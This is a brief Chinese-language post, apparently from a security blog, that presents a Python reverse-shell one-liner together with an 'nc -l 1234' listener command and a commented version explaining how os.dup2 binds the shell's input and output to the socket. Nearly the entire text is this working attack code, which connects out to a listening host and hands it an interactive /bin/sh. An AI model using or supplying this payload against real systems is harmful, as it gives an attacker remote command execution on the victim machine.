python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
123#本机监听端口就行
nc -l 1234
注释版
#shell执行 python -c #用到subprocess库fork子进程并监听结束 #os.dup2函数将shell标准输入输出绑定到socket对象的文件描述符上 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论